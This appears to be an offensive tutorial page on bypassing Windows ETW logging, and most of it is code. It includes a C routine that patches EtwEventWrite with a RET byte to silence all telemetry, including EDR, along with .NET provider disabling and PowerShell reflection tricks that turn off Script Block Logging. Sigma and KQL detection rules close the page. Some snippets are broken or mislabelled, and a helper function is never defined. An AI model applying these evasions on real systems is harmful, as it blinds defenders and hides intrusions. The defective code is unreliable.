ETW Bypass and Logging Evasion

Event Tracing for Windows internals: provider/session/consumer model, in-process patching of EtwEventWrite to suppress all events from a process, targeted provider disable via NtTraceEvent, silencing .NET runtime ETW to hide assembly loads, disabling PowerShell Script Block Logging via reflection, and how defenders detect every one of these tampering approaches.

ETW Architecture

Patching EtwEventWrite

// EtwEventWrite is the ntdll.dll function all ETW providers call to emit events.
// Patching it with RET (0xC3) makes every event write in this process a no-op.
// This silences ALL ETW providers in the current process — including EDR telemetry.

BOOL PatchEtwEventWrite() {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    BYTE* fn = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
    if (!fn) return FALSE;

    DWORD old;
    VirtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, &old);
    fn[0] = 0xC3; // RET — immediate return, no event written
    VirtualProtect(fn, 1, old, &old);
    return TRUE;
}

// PowerShell equivalent (patches EtwEventWrite in the current PS process):
$ntdll = [System.Runtime.InteropServices.Marshal]
$ptr   = ($ntdll)::GetDelegateForFunctionPointer(
    (Add-Type @"
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string s);
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string m);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
"@ -PassThru)::GetProcAddress(
    ([System.Runtime.InteropServices.Marshal])::GetModuleHandle("ntdll"), "EtwEventWrite"),
    [Action])
$oldProtect = 0
([System.Runtime.InteropServices.Marshal])::WriteInt32([System.IntPtr]$ptr, 0xC3C3C3C3)
# Simple version: just write 0xC3 at EtwEventWrite address

Disabling Specific ETW Providers

// More surgical: disable a specific provider for a specific trace session.
// NtTraceControl / EtwSetInformation can manipulate provider state.
// Less visible than patching EtwEventWrite (which patches ntdll memory).

// Approach: walk the process's trace registration list and disable target provider.
// The provider list is stored in ntdll's data section (EtwpProviderList).

// Simpler approach: use NtQuerySystemInformation to find the trace session handle,
// then call NtTraceEvent with TRACE_DISABLE_EVENT.

// Practical shortcut: patch the ETW provider's IsEnabled check.
// Each ETW provider has an ENABLE_FLAGS field checked before emitting events.
// If IsEnabled = 0: provider emits nothing (no call to EtwEventWrite).

typedef struct _EVENT_DATA_DESCRIPTOR {
    ULONGLONG Ptr;
    ULONG     Size;
    ULONG     Reserved;
} EVENT_DATA_DESCRIPTOR;

BOOL DisableDotNetETW() {
    // Find the .NET runtime provider's internal registration struct.
    // The CLR's ETW provider GUID: {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}
    // Its IsEnabled flag is in clr.dll data section.
    // Approach: scan clr.dll .data for the provider GUID, find IsEnabled near it.

    HMODULE clr = GetModuleHandleW(L"clr.dll");
    if (!clr) clr = GetModuleHandleW(L"coreclr.dll"); // .NET Core

    // The ETW registration context for the runtime provider:
    // Locate via exported symbol or by scanning .data for the known provider GUID
    GUID dotNetGUID = { 0xe13c0d23, 0xccbc, 0x4e12,
                        {0x93,0x1b,0xd9,0xcc,0x2e,0xee,0x27,0xe4} };

    // Once provider context is found: zero the EnableFlags field
    // ETW_REG_ENTRY.EnableFlags = 0 → provider stops emitting
    // This is a targeted patch: doesn't affect other ETW providers in the process
    return ZeroProviderEnableFlags(clr, &dotNetGUID);
}

Silencing .NET ETW via Reflection

# PowerShell / .NET: disable the CLR's ETW provider via managed API
# Works in PowerShell 5.1 and 7.x

# Method 1: Set ETW provider enable flags to 0 via reflection into private CLR fields
$runtimeType = [System.Runtime.InteropServices.RuntimeEnvironment]

# Find Microsoft-Windows-DotNETRuntime provider handle in CLR's ETW registration
# This accesses the private ETW provider struct through NGen/JIT internal types
$ngenType = [Type]::GetType('System.Diagnostics.Eventing.EventProvider')
$regHandleField = $ngenType.GetField('m_regHandle', [Reflection.BindingFlags]'NonPublic,Instance')
# (Implementation varies by .NET version — scan CLR for ETW_REG_ENTRY pattern)

# Method 2: Patch the NtTraceEvent syscall used by EtwEventWriteString
# This prevents the kernel from ever receiving the events from this process
$ntTraceEvent = [Reflection.Assembly]::Load('System.Management.Automation').
    GetTypes() |
    Where-Object { $_.Name -eq 'PSEtwLogProvider' } |
    ForEach-Object {
        $_.GetField('etwProvider','NonPublic,Static').GetValue($null)
    }
# Zero the provider's m_enabled field (bool): prevents any event from being emitted
$providerField = $ntTraceEvent.GetType().GetField('m_enabled','NonPublic,Instance')
$providerField.SetValue($ntTraceEvent, $false)

Disabling Script Block Logging

# Script Block Logging (Event 4104) is implemented via a PowerShell ETW provider
# and the ScriptBlock audit subsystem in System.Management.Automation.dll.
# Disabling it prevents AMSI and logging from seeing script content.

# Method 1: Disable via registry (persists, requires admin, very visible)
# HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
# EnableScriptBlockLogging = 0 → disabled

# Method 2: Reflect into PS internals and null the script block logger
$utils = [Ref].Assembly.GetTypes() |
    Where-Object { $_.Name -eq 'Utils' }
$cachedGroupPolicySettings = $utils.GetField(
    'cachedGroupPolicySettings', [Reflection.BindingFlags]'NonPublic,Static')
$settings = $cachedGroupPolicySettings.GetValue($null)
if ($settings -and $settings.ContainsKey('HKEY_LOCAL_MACHINE')) {
    $settings['HKEY_LOCAL_MACHINE'].Remove('ScriptBlockLogging')
}

# Method 3: Patch the EnableScriptBlockLogging check in SMA.dll
# The check reads from a cached policy dictionary — zeroing this cache
# makes PowerShell think logging is disabled even if the registry says otherwise.

# Method 4: ETW patch approach — patch EtwEventWrite as above
# SBL writes to ETW which writes to the Windows EventLog service
# With EtwEventWrite → RET, no 4104 events are emitted from this process

Detection Engineering

-- ETW tampering generates specific artifacts:

-- 1. EtwEventWrite patch: VirtualProtect on ntdll .text with RWX → same signal as unhooking
-- 2. Script Block Logging disabled: registry change at
--    HKLM\...\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging
-- 3. ETW session gap: missing events in a sequence (sequence number jumps) — subtle but real
-- 4. Provider disable: NtTraceEvent call from user process with disable flags

title: PowerShell Script Block Logging Disabled via Registry
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: '\PowerShell\ScriptBlockLogging'
    Details: '0'
  condition: selection
level: high

-- Sigma: EtwEventWrite memory write (same pattern as AMSI/ntdll unhook)
title: ETW EtwEventWrite Function Patched
logsource:
  product: windows
  category: process_tampering
detection:
  selection:
    EventID: 25
    Image|contains: 'ntdll.dll'
    Type: 'Image is replaced'
  condition: selection
level: critical

-- MDE KQL: ETW session tampering — processes calling NtTraceControl
DeviceEvents
| where ActionType == "NtTraceControl"
| where InitiatingProcessFileName !in~ (
    "perfmon.exe", "wpr.exe", "xperf.exe",
    "logman.exe", "diagtrack.exe"
  )
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Q&A